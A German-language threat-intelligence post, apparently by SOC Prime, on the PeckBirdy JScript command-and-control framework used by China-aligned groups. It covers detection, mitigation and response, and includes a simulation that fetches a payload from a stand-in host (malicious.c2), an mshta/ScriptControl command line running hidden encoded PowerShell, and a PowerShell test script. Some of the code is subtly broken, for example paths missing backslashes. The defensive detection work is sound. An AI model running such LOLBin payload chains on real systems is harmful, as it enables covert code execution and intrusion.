SOC Prime Bias: Kritisch

26 Jan 2026 19:08 UTC

PeckBirdy: Ein vielseitiges Skript-Framework zur Ausnutzung von LOLBins, das von China-ausgerichteten Bedrohungsgruppen verwendet wird

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
PeckBirdy: Ein vielseitiges Skript-Framework zur Ausnutzung von LOLBins, das von China-ausgerichteten Bedrohungsgruppen verwendet wird
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

PeckBirdy ist ein auf JScript basierendes Command-and-Control-Framework, das von China-ausgerichteten APT-Akteuren genutzt wird, um Living-off-the-Land-Binärdateien zu missbrauchen und modulare Backdoors wie HOLODONUT und MKDOOR bereitzustellen. Es ist darauf ausgelegt, über mehrere Laufzeiten auszuführen – Webbrowser, MSHTA, WScript, NodeJS und .NET – und unterstützt mehrere Transportoptionen wie WebSocket, Flash, Comet und HTTP. Das Framework wurde in Kampagnen beobachtet, die als SHADOW-VOID-044 und SHADOW-EARTH-045 verfolgt werden und die sich gegen Online-Glücksspielressourcen, asiatische Regierungswebportale und eine Bildungseinrichtung richteten.

Untersuchung

Forscher berichteten über bösartige Skriptinjektionen auf kompromittierten Glücksspielseiten und Regierungsseiten, die den PeckBirdy-Loader herunterzogen, der dann nachfolgende Nutzlasten abrief – insbesondere einen Chrome-Exploit (CVE-2020-16040) und zusätzliche Backdoor-Komponenten. Die Aktivität wurde mit zwei modularen Implantaten, HOLODONUT und MKDOOR, in Verbindung gebracht und mit zuvor beobachteten Gruppen und Infrastrukturmustern verbunden. Die Analyse katalogisierte auch Indikatoren für Kompromittierungen, einschließlich IP-Adressen, Domains und operativer Details wie die Verwendung gestohlener Code-Signatur-Zertifikate.

Minderung

Blockieren Sie identifizierte bösartige Domains und IP-Adressen und überwachen Sie atypische LOLBin-Nutzung und Skriptausführung über MSHTA, WScript und NodeJS. Erkennen Sie die Erstellung des unique_id Datei in %TEMP% und erzwingen Sie eine strenge Validierung von Code-Signatur-Zertifikaten. Abdeckung für bekannte Cobalt-Strike-Nutzlasten und Donut-generierte .NET-Assemblies kann die Exposition weiter reduzieren.

Reaktion

Wenn erkannt, isolieren Sie betroffene Systeme, sammeln Sie das eingespritzte Skript und alle produzierten Backdoor-Binärdateien und blockieren Sie die zugehörige C2-Infrastruktur. Führen Sie eine forensische Prüfung auf laterale Bewegungen durch und aktualisieren Sie die Erkennungslogik für die beobachteten Befehlszeilen-Artefakte und Netzwerkverkehrsmuster.

Angriffsfluss

Simulation Ausführung

Voraussetzung: Die Telemetrie- & Baseline-Vorabprüfung muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die die Erkennungsregel auslösen soll. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Der Gegner möchte einen Fernsteuerungskanal mithilfe des PeckBirdy Skript-Frameworks aufbauen. Sie wählen mshta.exe , da es sich um ein signiertes Windows-Binärdatei handelt, das die meisten Anwendungs-Whitelistings umgeht. Die Payload bettet ein ActiveX ScriptControl Objekt ein, um JScript-Code auszuführen, der von einem C2-Server abgerufen wird. Die Schritte sind:

    1. Herunterladen der bösartigen JScript-Nutzlast vom C2 (z.B., http://malicious.c2/payload.js).
    2. Starten mshta.exe mit einem Inline javascript: URI, das eine ScriptControl Instanz erstellt, das heruntergeladene Skript lädt und es ausführt.
    3. Der JScript-Code richtet einen Reverse-TCP-Listener ein und vervollständigt so den Fußweg.

    Die genaue Befehlszeile, die die Telemetrie erzeugt, lautet:

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    Dieser Befehl enthält sowohl mshta.exe als auch den String ScriptControl, was die Sigma-Bedingung erfüllt.

  • Regressionstest-Skript:
    Das untenstehende Skript automatisiert die bösartige mshta Aufruf. Es kann auf einem Testarbeitsplatz unter einem administrativen Konto ausgeführt werden.

    #-------------------------------------------------
    # PeckBirdy-Ausführung über mshta + ScriptControl
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // Einfache Beacon – ersetzen Sie durch reale Nutzlast
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");');
    "@
    
    # Kodieren Sie die JScript-Nutzlast, um Zeilenumbruchsprobleme zu vermeiden
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] Starten des bösartigen mshta..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • Bereinigungsbefehle:
    Entfernen Sie alle vom Test erstellten Artefakte (z. B. die temporäre Datei).

    #-------------------------------------------------
    # Bereinigung nach PeckBirdy-Simulation
    #-------------------------------------------------
    Write-Host "[*] Bereinigen der Testartefakte..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # Stoppen Sie alle verbleibenden mshta-Prozesse, die vom Test gestartet wurden
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force